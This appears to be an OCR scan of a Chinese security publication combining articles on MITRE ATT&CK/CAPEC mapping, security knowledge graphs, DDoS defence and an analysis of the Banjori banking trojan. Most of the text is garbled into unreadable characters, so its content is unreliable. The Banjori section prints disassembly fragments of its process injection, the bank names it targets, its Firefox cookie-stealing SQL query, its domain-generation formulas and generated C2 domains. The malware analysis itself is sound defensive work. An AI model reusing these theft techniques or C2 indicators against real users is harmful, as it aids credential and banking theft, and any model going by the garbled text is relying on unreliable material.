i, CAPEC il ATT&CK EMFI AR EEET . ML
EXLETINEL, ATTACK ERGEE M@ MASEE. £/ 8, I
@1 STIX 2.0 EMISEL—T WEAKAE, TUEBHAHIR
BEEBSHRE EFARR, XEEFER.

| Arrack

ObservedData ~  |CouiSee

y VZl & i \y Vulnerability
g - !
Indicator e < 7
E =] Campaign—~ - f N
“hreatAtor——— \dentity
- CAPEC
I oowe
™ N
ObservedData | Courseof Action | s -
s e | Attack Pattern \ Vulnerability.
/" IntrusiontSet —————— il . o
Indicatér —— ¢ . E e o 7
6] Campaign— Malware
— iy
“Threat Altor™ identiry

8 ATT&CK, CAPEC, CWE 5 STIX 2.0 53 %ftt

9 RRT ATT&CK 5 CAPEC H R AN LXK KR, H
B, ATT&CK DUtk R BAR AT ER B ERELEH, CAPEC Bid XY
WERR MR AR MR LEM. L Discovery i AT H System
Owner/User Discovery $x R A, 5iZ$ AR XE#H CAPEC K
2 2 Owner Footprinting, B 5iZ K EHE X KKK CWE

Information Exposure.

P
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ATTECK

Techniques 1

System Ownef/User Discovery

Windows

& 9 ATT&CK 5 CAPEC Hylk 5t < %617

BBAAS B SE B A BT IE BR B F 17 0 AV M E B9 1E 2 APT &
BR. RAEBOENZR L, XARRETREFENEN
HMEBRUHEERT. FE+ITANASRNEN, RLAHEH

o MAR TR R B NAIREMEMAE Y, CAPEC+CWE N
ATT&CK H 2R 55, MITRE £ 5MELEREEB RN BIRS
MR EZ BB XBKAERE, Fi, CAPEC #1 ATT&CK BHaEj#B

BN STIX 2.0 FyFRILHRR. WAFIRE
XBB|f, %87 ATT&CK Enterprise XRz#J 244 4 Attack Pattern
#5 CAPEC XEHH 44 4 (ILE 10),

FEz EthE B THIRA

(CAL Stage High-Lev hreat B Oyber Effect Detailed Threat Event and Source
Maintenance environment,
actions of privileged user,
Perform malware-directed internal | trusted or partner network System Network Connections Discovery-
Recon reconnaissance. connection Interception ATTECK

Maintenance environment,
actions of privileged user,
Perform malware-directed internal

trusted or partner network
2

Recon reconnaissance. System / TTaCK

e

29

[ High-Le Oyber Effect Detailed Threat Event and Source
Maintenance environment,
actions of privileged user,
Perform malware-directed internal | trusted or partner network
Recon reconnaissance. connection Interception System Service Discovery-ATT&CK
Maintenance environment,
actions of privileged user,
Perform malware-directed internal | trusted or partner network
Recon reconnaissance. connection Interception System Time Discovery-ATT&CK
(no immediate
Weaponize | Create counterfeit/spoof web site. | External network connection | effects) Content Spoofing-CAPEC
External network connection,
trusted or partner network (no immediate
Weaponize | Craft counterfeit certificates. connection effects) Content Spoofing-CAPEC
Create and operate faise front
organizations 1o inject malicious (no immediate
Weaponize | components into the supply chain. | Supply chain effects) Content Spoofing-CAPEC
Establish or use a communications | External network connection,
channel to the enterprise a5 3 trusted or partner network (noimmediate | Compromise of externally facing system-
Deliver whole or 0 a targeted system. connection effects) PRE-ATT&CK
Establish or use 2 communications | External network connection,
channel to the enterprise a5 trusted or partner network (noimmediate | Leverage compromised 3rd party
Deliver whole or t0  targeted system. connection effects) resources-PRE-ATT&CK
Deliver commands 1o 3 targeted
Deliver system (e.g. login). use TTECK
Deliver commands to 3 targeted
Deliver system (e.g., login). Abuse-CAPEC
Deliver commands to a targeted
Deliver system (e.g., login). ) use Bypass-CAPEC

10 MITRE $t 34 &30 iR 554140 H9 B 36 1 150 5L

TEEBERMMRAERRTE, MITREASEAERATE
HENGER; BERTE, fZERENEOERANMR. THREE
FEBFMMIRE, E2BEMIREERXEEMBAIR, WEHIR
B—7ESERTCHENRAENREY, 5—TEthEERBELRN
NMAHE®EEESENMIASEE. MITRE F 2018 £17 Hid— /M5t
X &R RS AL IERE SR Y, ZERBRRATRERAH
, Bt ARMNBRT A MER IR E R
BEANRG. AXE, BMNERE-TIZHRERNEFRETTR.
M ERFREORE—FITINEZ
Lifecycle) = &! (5 Kill Chain 8 —%) Jy&at, € ATT&CK F1
MANEMRED, 3 Exploit YRR EBIEMBR#HETT
MIENY . BERITATTUSEREAE.

3. BRI F 2R
TE B TT R

ATT&CK #1 CAPEC £1iR &=

1Z#E 5 |3l CAL (Cyber Attack

CAPEC Z%—

- RER R X EE R R R R AR
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T—, WHENEEESOENEITE. ATT&CK WEI, BT
G—MIRMER, AREFESENNRKIE. FRIE#FZESN
RENMERNIL. RARINEZRETLIOAH. Elt, HMNE
RISTRZ R ATTECK EAFIRE, 1858 BT 046 M BE N B9 R
R%s.

TRRETHSIHEIOC, ER2ETNHFEINRFITHEMN,
BN NIR SR EEE ARG R BB ITR B M E
BHR. BRELCVWHRRITZVRRATRITNEMER, Ktk
B EE HE B ATTRCK EHIRE#FTAEL, FESEMNREN
#l. REA LB Kill Chain ZrSE 48 R (E 0 BB E R E AL,
I E 2 FEMERERNE R AR A BN O AR S MR
HER—ENAT. EMERNALENENEANZ LR NEMATE
TR, RAZLECWVEFFEREEANENIOCE. FETHE
HFENFEEHEEXNHENE. TERREMAXBARLATD
MidiE, ANOFEAMUHXBENEALTFR. E5—NEHRE
M BERT, ZRTARNEHERESESEABIIRE, M
REURMRIT AR, TR E IR,

4. WEEBLSHIRAR

ATT&CK 4EFEMMRE, FEERMME APT BIRFAXRIRE.
BT ANRBEBHNR2ESE R EXMNERE THRHRUS Y
TS RBTIGIE. o), ATT&CK ANREHIT AR, S REHR.
TEGS R E DT AN IR T E B M X R IR BT, B,
# ATT&CK SR EEE L Ak v B B WAIIREF B TR AT, 8895

e

RALVESHENES]. BEEEENRE. EHEELLEITACH
RIS, BIE B4 BEMIREH, RALFHMIRKEK
PUERAEES = THE O ES. B, 335 ATT&CK fEE
B ETRSAEARD, 21 MITRE Caldera®, Endgame RTA® £
FHRBE.

BRIEHRIMARNER, BT ATT&CK BIERE. &It
EEMUREIEFN ATTECK Z1RMES, HBXELRMFRIATT R
HETTXEHTRARR.

0. ATT&CK &t

ATT&CKHA B ZR
3 F¥Windows Enterprise H#mTactic: Initial Access
HMCAPECSIF
i MTactic: Collection

M Tactic: Impact

|

2013 May2015 July 2016 July 2017 April 2018 Nov 2018 m

TR MBS 5MATT&CKH 4t
ATT&CKATFRAT R REIPAE L RR AT

A& 9FTatics, 96 Techniques

3 #fmacOSHILinux Enterprise

11 ATT&CK JE#E AT a5 5%

ATT&CK F 2015 FIER &1 (LE 1), ESIENE, &It
Z %], ATT&CK %t Xf i 2 post-compromise = post-exploit i} &
HIGEETARN. ME 12 EFMR, EDAENNRONZRGHE
%v & #i (Cyber Attack Lifecycle, & #r CAL) &, ATT&CK %3+
#972 Eploit YR = RV IEFT AR, RIIUE & R H MNP
i

DRz EHMER, B3 Persistence, Privilege Escalation %,
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FA 53 ATTECK B9 E TR AR B, ATT&CK £ 1M T £ 4
Tactic, HEZMNBT#MELEMTEE. Brl, PREEEIER

= “left of exploit” FIRIFNYER, Enterprise 78 2 5 £LAF A M EX.

Persistence
Privilege Escalation
Defense Evasion
Credential Access

Exploit
Discovery

[ Lateral Movement
Execution

Collection

Exfiltration

Command and Control

\ " o - —
X &CK ~~-.... Enterprise .-~

priority Definition

. Planning, Direction 'E’;‘z::::‘”

Target Ssbection persistence

Information Gathering [irimicia

- Technical, People, Organizational i

Weakness tdentification prsrisedross}

- Technical, People, Organizational -

Adversary Opsec L

Establish & Maintain Infrastructure Lo v,

Persona Development e

Build Capabilities e DR

Test Capabilities
Stage Capabilities

B 12 ATT&CK AR, AR

ZiFHENMIRTAR, ATTECK 2 2 M3t 4 Al 79 7 #.
Windows F & #. £ i il #. post-compromise 7 Jy 5 47 1&
B, ARAZHR (LA, BHHEF). £FE (Windows,
Linux. macOS %), B&ZRHE (Lih. ML XHF). K
HEEGRRNTAPITEE, FRAFENIRIAMTHRAT
BERRI, REATTACK A BRI RSV RNERKE. 2018
F, MITRE L2 7 & T ATT&CK R B RE 1 I¥fh, B35 RSA,
CarbonBlack E Y Lt RL £ AT S5 T AR I, LRITMEH
MITRE #% #l 7 APT3/GOTHIC PANDA ‘A R S W & 174, WIE

e

ATT&CK 17 AR 7 B A9 AL MRE N AT T IR, BXBEEE
TNFBEN L EETHER .

B

BEE ATTACK T AIRMIRRTMBEXARANEETE, TRE
WSl AENRGME, ELH XDR, UEBA. EFHE. Bk
FERMON = RATTRE A ) Tactic-Technique ZEFF S, X35F.
ATT&CK EREEZ#ITE, BEELZMNLIKSSEES, B
HE—m bR BRI @ APT NS N, ATTECK FT{2 AV AT,
R EHESP VAR~ ROHE—TRE, NEF LRI EIR
REXE.

SE%E:
[1IRSAC, Jared Myers: How to Evolve Threat Hunting by

Using the MITRE ATT&CK Framework.
[2]https://attack.mitre.org/matrices/enterprise/
[3]MITRE ATT&CK™ : Design and Philosophy.
[4]https://oasis-open.github.io/cti-documentation/stix/intro
[5]https://github.com/mitre/cti
[6]https://capec.mitre.org/about/index.html
[71IEnhanced Cyber Threat Model for Financial Services
Sector (FSS) Institutions.
[8]https://github.com/mitre/caldera
[9]https://github.com/endgameinc/RTA

[10]https://attackevals.mitre.org/
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EHER D53 T 2 B B iE

SBERHR BIFT L K

2019 £EIRMARE
RS T—BANER, BB FE. SREE. FHTEEAR
IR, M RSA AL BR L& ES Lol ELaN T Y
RALWE BT BANTERBEUTE5L “SEMBTE,
SEBRER WENIT, FIELH, RBASMREML TE
WL B, “REBEMNR, KEFESCRITRELX R ORARR:
BHHR—AERSOMR, XHEMARTNEFIU#RE
£, BEHXE, REMETE

BEZR4lg4 (RSA Conference) B E 7

184 1 “Better.”

RE
HthESSHEB R R A E (Michael

Jackson) fy4 8igkh “Heal the world, make it a better place...... ”

P

WELR, EAMEREBENBNARE BESE
BRETIURLDE, EHTRILIMERSTE4E
BETREMEMEN Al EAEF S REERRW, MEMER
EHNNARERENASARIEDL. HEIMEKR,. HEBERRN
REMHATTNG, HELGMIRG. KB EMEF TR
LRYIKhR. AT REFBAWT A ZERIME N PYEE A LR B 5
o BFIJFREAMEREER, BAR TH;
o HAHBH IS THEABININEIE THEBXITENG
EBR;

FEXFE—

o) (better) ?

"
ERET
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o B TR— N FIRIE, HIE X IR AES
o HERTRBIMER.

MR, #iE, BIENAZR NELRLLBRZIBEATH
=¥, BHRRELIENREEEZNER. g, REF.
MERZIRATZAIRARNE . EME =T, MREERHEH.

EHEENEDEEENNEERABITES, REFS. R
ST PUEABIRA RN ENRRE, MARROEN.

HIEMRERZ A TTRMEAVET, SLEVE “REE —IAE - 17307
BHEARANEANREEEE. B, WEEMEHNE. ER
BERE A D ATRES), BATROIZBEFI AT ML SR, XA IZfTAE

XL HHRNE?

—. BiERRMSER

APTRF)/ BRER. WEMR. BB RSHE. BIkDH. &
BRERNFLEHHERECLTEBE T ERIRNRENE e
B. NARE. EHNHES. NS KUEHES. #TEL.
WHERRVSEANRTELESHRIE 25 A SIEM A
UEBATTR, B, EIMERERGEHMARNENNIRE. £
BRAMEIROREANTREK, AEFNTRA. 2N, #IE. 1w
AERHTEENTE. BEHENFEEMNEN. KEKENMNRET
MEENNERSL, SR FEAEEFEETEREENNN
METx T e HIRSIILE B AR A s L IREE
MEREEE, BEANMNEARZNTAREE. BEH2
ER—T41E. 58, MRAMEENSFHEHFEIEE DIKW,

=

e
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B 1 &FEPRRE DIKW

PN €7 S I~ S: o) -3 IS BB T 3 A9 FF 48,
ZEFVHEREEABNME LTS EENAEIT T T HLMAEM.
7, BATEERNZSEIRZR DIKW ERI TR A 52

o ¥iEE (Data, RIGMERELMIHN). NAEE. EHAE.

MEREBEE. BEEE. MERWEIE. LEREES.
ET AT B9 MU ES A0 T A9 4R,
BIRHBXHEN) . SXQNATR, BIFEREEIERGNE
BN BREAR, SEIFRMAE~EHIE. RBUEHES;
A ER-

o HIRE (Knowledge, JAAMER, TREHIE). FEME
F41IRE, @ CWE. CAPEC. ATT&CK. MAEC %,

o BEE (Wisdom), BEFZEMIA. F8. BIRMNHEE. 247

N=IN=]
=
I Iy

e =2 Z (Information,
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RERENE, TEBRERAMELINEX.

U EDEREGRRAT LR EHIEDIIEBEBNARRE
BR. EREHHEDITHERET, ROVEBH “BIE” —8F%TH
FERAN—VHFRR SREER. FRENFMIRENSES. DIKW
PEEEA T BRI D REY, BERMBREPREENLEER
BER.

= BBARRR

DERABH AR DR RRILEERABR— IR T2
B, MEGRSEIRST. B LT R A0 E LA B R
HOERES MWEMANRSBRNBRAES, BEANEEM
MR, BAAEB BTN, HERER
HRLSMPBPIRBRITEI TR S, MFATAS SRR
EEEGF BEMESERSHARNER, WEBIT AN
BAMEEA. AEEBOEIE HRLME. Fd KREEF
ESEAMITRARGNOTES, NITARHN BT

1B R

MERERGEFRBNELEY, MEReHAEELRER
hEEHREEN. BEEERER. £ Google f2HAIREIERIH
wzlE MAREERAAEMNEEY AR, CEERERE.
BERG. HRSIE, WK KNESQE AEH. 2ReRN
H, REANRRERZEFRPHTRCRETESRFE. K
EEE%. BEEHTEEXKNEE BRI FHRERE

TRANZR. &ee%w4E (Microsoft Intelligent Security Graph)

P

EJLFE£HEKGT Google 5/% “Graph” + “Security” XRim#91%
RER, HBSZESNEELERE, #ESTH. SHEUE 1R
HEENEDEIER, FUZMHO DTN RIERE AR ST,
B SMEIRE T TR RS AR APl 7 2019 £ RSAC |, #Mk% %
AN AT HIEE S (data gravity) 982, WRZRETETRE
M7 HE RIS ZINEM I E S, ZEERBE R EFES
#IR Bz, Sarrl (2018 & 1 B % Amazon i) 12 5t M 45 B AR I3 55
5, %4 UEBAfRHIL “Behavior Graph” M, EATHIT
EMARMEXEEMEGNRNRE. RENBES MEER
4192 = (CAPEC. CWE., ATT&CK %) R4EXIBEBS ML (STIX
1.0, TAXII 1.0%) MMITRE A AR HENEEENEAE
EBRAMH 5. CyGraph™ 2 MITRE 72 I B H 55 75 9 R B
R4, CyGraph F BT ERME L, 17 M%K LM (Network
Infrastructure), =4Ik 7 (Security Posture). 4% & i (Cyber
Threats). {F% ki (Mission Dependencies) FU/NERHEIEIE,
AT XS XER~RPOREEIRNNBESHE R SIS,
EsMEA SRR BIBNRS—MTELE M EZESR Cauldron®,
Cauldron g 93— L IBEAMITMER, HIEMBTSHIERM
BiA RN, BT 5 MERIMIEE AT BB E RO TMEI
HTEMNDSEL. BNAE EFFSERMNARSIREEIEN
BT A Bla, RBRREESMIREE, RITTENRENE
P B TR, H A MITRE f§ CAPEC. MAEC #1
ATTRCK SHERIIEANSHER, BN SRR M IEIRPIRI SR
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BIEAMIANHMIREE T R. WMECEMARAGNRIGEE
HREERBRANKEE, FRIRENRRE. REHNEIHE
BERIDHNERTEENRERIHENR SIS Z R

BRAMENZ—LELE/LINEER. TET DKW B E5ESE
1EEH CyGraph f9= 4 SRR, MBS AR
HE, MAENMESE AL, MWRIPES (BRESERSEN

Network
Infrastructure

Security

Posture ~ > I 1
Cyber S
Threats ™

Mission
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BHEFBR, YWEREBIHAHRABENN, WHERERKE
BRNBARATR, BUNESLSEEZEFM, SEREHHPARTRF.
MBI 48 DDoS W& RASH BT INEE], K72 DDoS I¥
THEARBANE, SAMEOSEWEEN, EBEVEIBERTE
B, BAREHTARE DDoS W s SN THERES.
ALEINZmERTEERH : —Ri&d DNS EEEMTTKM
sh S5 BT R mam RR s == SRR BT TR T
PIEHERENR.

LA AR RGN AT s S5, MRZEX IP it EHFH
BEMIP REFSIMNATRNHTER. IMITERATEER, BX

Bidiz

.

===
),
DDoSEAR

DDoSEAP DDoSEA1FR

By S R B L

F7 B LS

El 4 2K DDoS Brirks

BHEN IP R FEs B Es—RMNEERH TR
BRENREREMEEINGS, FETER.

B, REE

B—MEANTRES KPP GRKEH., FEMRERN,
B, DNS BAIM="TETEFRATROTEL, IULAKE
mEBIABHATENANMRESRKNTFaRITER, L
PRETFAFTEBANNR. WHAXBMURBEERKR. REREL
22 50T0 DNS 47 IP B B YR, X 4F A 8RR B A BUh5 RF 7.
BEMAREE—FEL, FILET IP it #7858 E7T DNS
BATX—IT. RERAKAGIFHEEL. TREHTENRR
TR, FREEMS.

3.3 IZERNEREN

BEl, BATRMSZEEIBREDA, SFENIETAMNI.
PP KR AOR B U R U SRS EE. RERETNERELAR
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HE#&% DDoS W AMIEF T U iEE, MEFEERERENED
ETHMEERR FhirRETENERTENERE, XEZEL
Jnk) DDoS W=, REZERHIFHHEN, SBREHE
B, WEhilr, BETRNEERAANENTRETANBENTE
£, EESBIIRX KA S H T TR, BRI RN E
BEIREDITERBEEN P RE, JFTSER REHE DUAE
SR, SERATNEN. BRANRA, BIAFHUNTRES
SR IEA .

fg& i DDoS Wl /E kMR T RIRT BRTTRE MM TE M,
ERIZBETTRENEEAFR IR BN EAE M
B, BROMEANEHERHBENE. MIRSHPHE,

4. S DDoS FifizE# R EREFS MM EEEL

=
=

REMPARFREMEEOEEL. HOANELEHRAN
ATUERPESR, HAREEANERN AUIERESHEE
MBERHRAT TSGR, 5308 DDoS s G RENIZR%
WREHEFLE REGITRETROEEL, WHREENT

ENIREN.

41 WE T

TREBAMERERIZELER, SRERENEERIBFE
F—WEFHEN. FRNEENMBETAASRBHSERET,
FRARDEFANZU. FRMBNEEREDRENREEHOHE
RREENMURIBIRINEE. B, BETREMBMMNIELENSRS

e
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WH R, HRERETHNERFXDHTERMNRT, ILELEA
RIRE T B IR, NP EHE BRI EE
= DA B 5 2 RAT RIFMIP AR N RS EMHOE N EE, UE
EEMIMEREER, FEHHABER A

NTA-ATM o] sren mosn ewon wesm sa

5 £ R #9 DDoS 53R AN El

4.2 WG EREN

IR EERUBTINEER BRI EEZAAEK. SRS
HARERBERFIUTEDE, EFEETHRITNENSLMTEIR. R
HHNHEECSSMMEMBRI/R, WEEBIT. Z2BIT. N
HEIIE, RERTEEMEE ILEERRE. R REURIK
TAHZI ERZEEIHEFIERMRMBEEN. TRML
=E%E, B, REFRZ2KLHHERIT EHFEDTERN
REEEREH. NBIRGITEERTHIFRGHEERML, EBH

BRI ERE.
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4.3 ARHINERENL

BREHHFT, RONWEHIFHRIN@RE DDoS Wik, Kif
RBENHR S RE S D TREARIRERIMRELR S, B8
CHAER. ZEFANRIZRIFNEVE RN R T N RAUHE
FEESME RANSAETHRAR MEMIVNIMEERS D
o Bk, 7£DDoS BT RF, BRTHRIFAIBIENAIL
FAZINBE IS, EHEMRNEHNBIRELIE, ERELRN
APRRBANEY, FEREBRBIEIIMNE. TRUNARTRER
WEABPREHARNE, BENERAHIERERERAT
EHMNE.

EERERERGNFPRATHRE—DIET, LERHSS
EREWHIN, IMEREHTRENME TSRS DDoS K
FiERm AR, ERITERRMERE. HPEeMILSMNENZ
EMEERIE. MERUARETERNRRRIEERRTESN. &
EMEERE.

okk

INgs

Frost&Sullivan f 347k &6, DDoS MM A EREZE%
BLE, MBCAEM. FRRS. RAREIHMGEN. RIVRED
FERG-MIRNER, BRBENBRAFROTITENREA
RBEMEMDT, TIAHKEE DDoS MZAHH MBI RIRTE
B/

P

DDoS M ERE AU EREH. —REEHKMERIE
MSIANTHHMREERE, REHERTASESMBETIL 7%
MERER, #MERGE. —ELTUNKMLE. BT~RE
BRAGMFA, FTRMENHEARESTHA, M DDoS K, X
BRARNMIART ARG NEFERRAR, ERTHFERL.

/A DDOS B RBEHK AL NE, BRTEAKXRENLEMA
EHATREMN, EFEEBRAEHFFARMOER. EET-K~HAH
BRI RMBATRAZENMIFES, BfEEY DDoS K&
BERMBBEAT, FRNNEFRREETHNE, BUKSHEMAE
PHE, MABRENBEERENZE L.

DDoS BB T REEUABMMN NP ERER. WHHE
MmEFELS FREVSESENBEEREEHIPRENX
#®. BT DDoS HEHFAKRATEE. HERTMERHR, RARK
WIAR, REAMFSZBRA AT RTIMEHT. XHE
RFPHREETRANSENS, eEER. SEBEH IR,
xf DDoS Wi R, FEERYEFIR, BRATAREEMALE
BEROR, RHUEAVMMENLNTR, ZOMNAERRS A

MER, EEEVNMTNZE BEHZAMES, HEBE, &
(=90

LEBRMHRERET—MEER, MEZEAXNHHElsk
—PHEEE. ROMEELEHT, BRAkK, FREIEEL.
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BanjorifRIT ARG 57 #Tiks

SBEME KPR E

—. BALGZHR

Banjori # XM F 2013 FHEFRESNRITAS, HHEHE
REZEEE. BESEENPARTN AR, HAPRERE,
RESEEREEENAARENH#RE, SIFARBIFXN AN

BTl &E. ROABNETERX S AT TS, Banjori 7R

BEdES. fALL IE 5 Chrome, iZ ARSI AFBRTAINN Ko, KEP
DHEGMAAFESBEZN BRAES. BIREEXHERR
. ES—RNE, ZADRER 2013 SR ERLSFEF AN EN
MSWEEERR CC R, XSBASREZENREE

WIREREER, ERNGAER/ FEIZEFMEENE T EMT.

FBRY LR FHNZFERIET T —ENRFERER, FHRNE

BN 1499 4>, HEEEF B LTHES.

'L "v
'\\’\ ’\

250

200

50IIIII
0
\, 'L\?J’}
UGG GO

\ 0\

Q Q Q S Q L D Q Q 0 D

= BEFRHITIRE

HABRBERANBEREEDIFEDEANNT R H M

e

75

. BWEANEBERB—B, EXRIALHNTAHFIRMER, X2EN

EERLEEET ARNRTAOR. XHEMAODS—HF=1, 8
=ANFRENATHE.
malicious
stage#l - code
entry
stage#2
g H
entry
stage#3
g O—3
entry

B-HTMBREETERHEN, ERRDELEBEES
SREEEN, FREEZE-MERATAAR.

seg@de:01A18310 stagel sub_1A16318 proc near

seghbe:01A18316 call sub_1A18438

seghBe :01A18315 call stagelmain_sub 1A1177C
segld@:01A10315 stagel sub 1A18310 endp

BT R T ERENT

1R BRRERBEANRBETRHE.

2. HEHBOT N2 H 'CloseHandle' &%,

3. XMHENARREMNRSMMHIETRIN. FEANHER
N#Y kernel32.dIl 9 PE L5 Ox51 MR F R WEBRA '@,
B Ja19 PE kg DOS #8453 % 5 4 'Th@s program cannot be

run in DOS mode',
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Active
Process
malicious
stage¥l b cads
entry
stageif2
£ b=
[—’ entry
stage#t3
INJECT i e
Banjori Active
Exectuable Process
‘malicious malicious
stage#l e stage#fl aoike
(O3 o
entry entry
stage#2 stage#2
entry [0 MEE oy PO
staged3 | stagei3
entry entry
Active
Process
malicious
stage#l g
INJECT entry
stage#f2
entry
stage#3
entry

BT
AR, B

MR ETHBRLHERNE, X CloseHandle & E#k

— T BR ENBTREZEE"HTHRAOR.

seghea:e1A1e321 call sub_1A18433

segh@a:81A18326 call stage2main_sub_1A125CA
segh@a:a1A18328 mov ecx, dword ptr ds:unk_1A16848
seghea:e1A18331 jecxz  short loc_ 1A1833A
seglea:e1A1e8333 push ecx 5 _DWORD
seglBa:a1A18334 call ds:CloseHandle 1A108F8

BT RN T EIREMT

1 BHECEARBRR B E IS
FEA B

2. B3 svchost (B

XN RS R BIEL:

THEBREN, KT

#HiE, JERERABENZIHRE.

@ uld
firefox.exe
HOOK
svchost.exe
malicious code
malidous
stage#l b stagett1 code
entry entry
INJECT stage#2
stageit2 -
enty [P entry
stage#3
stage#3 | entry o3
entry
STEAL

F=HITM R A LT svchost (R {gi#tTE, B
BERNnRAE#AS=HIMBEAOS.

TE TR

SegBee:BlA1B3EE mov edi, ds:VirtualProtect_dword 1A181BC
seglea:B1A183BE lea esi, unk 1A1@3D7

segBaa:B1A103CE movsd

segBBe:81A18305 movsh

Seglea:e1A183CE call sub_1A10438

segB@e:e81A183CE call stage3main_sub_lA16428
SegBda:81A16306 jmp loc 1A1831A

B=HOTMBRMERINEMNT
1. £/ DGA F7S3REL C2 &, Seid 1%
2. BHMBINAFELR LEE C2 RS,

RARERERRN.

svchost.exe

malicious code
stagett1

entry

-]

stage#2

i L o

{ | — c—
I Generate PP PIPE

L C20omain
stagett3 @ ’
entry . '

° e
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=, BEXAHNH

31 B AR

F-S5EZATHROGEERBIERHM L K4 JbrDelete' 7
BWOE, HZERAERWEUEN, FHERR. TARBBENE

IR,

seg@ee :a1A1286F push offset sub_1A18385

segBBe :01A12874 push 1

seglee :81A12876 call injectAll_sub 1A121BC
'segPea:@1A1287B push offset e2entryReal sub 1A1@341
segl@e:@1A12530 push ebx

Seg@ea :B1A12881 call injectAll_sub_ 1A121BC
segBBB:B1A12886 push lee 5 _DWORD
segBee :81A12888 call ds:Sleep 1A188DC

segBee :81A1288E call sub 1A11723

segh@B:e1lA12893 test eax, eax

segB@@:@1A12895 jnz short loc_1A128AS
Seg@ea:elA12597 push offset albrdelete ; "JbrDelete”
seg@@a:@1A1289C call openmutex_sub 1A11781
segl@d:@1A128A1 test eax, eax

segBee :@1A128A3 jz short loc_1A1286F

BATMBROERRBRSUR— M REED. ZEONHESE
VB R HER $1 3% BB IR ER FU BT 42 1E SR A B R 4 UbrDelete!, % BX
LHEFEAWE T BASHAE S "WM_QUERYENDSESSION' i 44

BIRE Rk,
segll@:@lA1525A push ebp

Seglee:B1A1525B mov ebp, esp

segB@e:81A1525D add esp, BFFFFFFFCh

Segeee:e1A15260 push ebx

Seglee:e1ALS261 xor ebx, ebx

Seghe:B1A15263 cmp [ebp+arg_4], 11h ; WM_QUERYENDSESSION

3.2 ERHK

TRITMBREEAS N ESHEAERRD AR GRAS
FR. B NIREZEANBRERFESHTHE, HENHE
RGBT EEIESH, % Users\%UserName%\AppData\

Roaming\Microsoft\Windows\Cookies\' T~ & R 17 & R A 8=
#, FEHEFLEXEE.

db 'alirishbank’,®,'fih.',8, citizensbank’,®, "homebanking’,8, 'bankofa’

db 'merica’,®,'citi.’,®, citibank’,®@, 'action.mathtag’,®, 'wellsfargo’,8
db 'pnc.’,8, "huntington’,®, 'regions’,@, "'wamu’,®, "juniper’,®, national’
db 'city’,®, 'nationalcitycardservicesonline’,®, 'wachovia’,®, "usbank’,@

YBRERGREE. ZENXEEEHN, FANTERDRE
i firefox MR BRT T sqlite3.dIl (2 ZEF BT BIRA
iy firefox M BE#R4E M) . BRRBEERIZENSHRBEZ AN EHE
MEFXMH, HRERERKREERL.

db "SEEEET id. name) value, host, path, explr‘y, lastAccessed, isSecur’

db 'e, isHttpOnly FROM moz_cuakies',a

HASLEREAEEESRERENIEEMBENES; &
AENHEFBRALHEEA S 2 A firefox X et M ZEE = E A,
A2, WER7E firefox MMBMABNZSHEREEH T H ssl3.dll, FHHE

S % % 'SSL_SetURL' i
FERANER LIRS (NSS)
RIFEZH nss3.dll,

T8, BRI, R firefox
EHBE ssl3.dl, BERE—KRAE

segBea: @1AIDASS push offset ass13011 ; "ss13.d11"
Seg@ea: @1AIDASY call ds:GetModuledHandleA 1A18158
seghed: B1ATDASF test eax, eax

segBed: @1AIDAGL jnz short loc_lAIDA72

seghea: @1AIDAGS push aah 3 _DWORD
segBea: @1AIDAGS call ds:5leep 1A188DC

Segeed: 81A1DABE dec [ebp+var_8]

segBBa: @1AIDAGE jnz short loc_l1A1DA54

segBea: a1AIDATE jmp short loc_lALDASC

seghed: @1AIDATZ
segBea: 1AIDAT2
SegBea: e1AIDAT2 loc 1AIDATZ:

; CODE XREF: fire

seghea: @1AIDAT2 push offset aSslSeturl ; "SS5L SetURL
segBed;: 81AIDATY push eax 5 _DWORD
seghea: @1A1DATE call ds:GetProcAddress_1A101A8

BT RBENSHRTPRBAAFRNE R RFEREEFER
£
33 H|THEEE

e

FEARE F 5 5 & 'antisemitismgavenuteq.com' ¥ 5 Fh T i5 &,
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RBZHTHEOIONFHFHEERELEN C2 5%, HETE
AR

di =(dy +d})mod26

d™ =((d}+d})mod26 +2-d;) mod26

di™ =(((dy +d})mod26)+d; —1ymod 26

di™ =(((dy +d})mod26 +2-d;)mod26 + ((d; +di) mod 26) + d; —1)mod 26 + ;) mod26

ZERENN C2HEREMTFHENIENFHFRRE, #£F
26" FHEFIES ; £RA C2 HETAIINT

'plhusemitismgavenuteq.com'. 'ckbrsemitismgavenuteq.
com', 'msfasemitismgavenuteq.com’, 'fbepsemitismgavenuteg.com',

MR-ELZFERDC2HE, HAS—EEMAZEZENR
W C2EE, EREEMY. ATHNFHNHIAGHES
R, RALZEESLREMBRNES B @RESR . Fla,
I 'antisemitismgavenuteq.com' AFhFiEE, MEKNE 2 M558

15374 4~ C2 &4 'nzrvsemitismgavenuteq.com',

BUHREZN —ERRE IR REN, LA Fian

% F 15 & 'gfaqsemitismgavenuteq.com', RFEE 1% DGA &
Eamd 'ofaq B9 A, JEEIREE ATz DGA EIAHFh T,
EXRTHEA C2HH7, XRAAFEXHEZASHHREL, BXE
BERB RS C2 kA MRATHZEHMEHN. FATTURE
BB EREE T, #hEEEFMNE.
wd =(d) +d)mod26, d; <26.d <26
ndit =di+di—26n, nef{0]}
EETIE W
d™ =di+2-d +d -26(n+0)
d;t =dy+dy +di —1-26(n+ p)
dt=2.dl+2-d +d +3-d. -1-26(n+m+o+p+q)
(n,m, p,q,r) € {0.1}

EHBNHEAFH (4,7, d;?) REHESE, W
ERUXANER (dy, d], dy) DRBE. H—HM, & (d)7,
dit, d%, d°) RERESE, WiZEENRE T
BRFE—E (d;, d)) 5ZHEX.

2 (dy", drh) g, WA

+1 +2
d, d;”,
d,,

(dit, d)

dit+d =d, +di -26n+d, +dy+2-d +d. -26(n+0)
At vd™ =2-dl+2-d +2-d] —26(2n+0)
dit +d =2(dl +d! + d! -13(2n+0))
sdi +d =0mod2
B, H(d", 475 (4,

AT 2 R, ORI (4,7,

) BREAER, (457,
d) BEMAER (4, 47,

d) >

+2
dy”,

P
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dyt) BEHMINERES &4 BN, % (a7, 47) 8%
REM, (4,7, 47 d;7%,d7°) RRAREFM L. EEFR
itk ey (P22 FEA22] g [0.25, 0.5].

ZERLR, KR (47, d7) AT 2 BROFEEREE,
W RBERNTET 75% MEREEH T MUESZEPNE.

3.4 BEMK

fIF scvhost (RRHATEE=ZMITM B ERRBHTS C2 i%iE
5. HARLAMTHAEE, EB—FEHHTTP I, fikm C2

REBSETRE; EE_FER XMPP i, ik EEE_HTH

BROBIINAAES.
seg@en:81A166D1 push I
seg@ea:alA166D3 call

http sub_1A1ASCE
2

seg@ea: 81A166D8 push

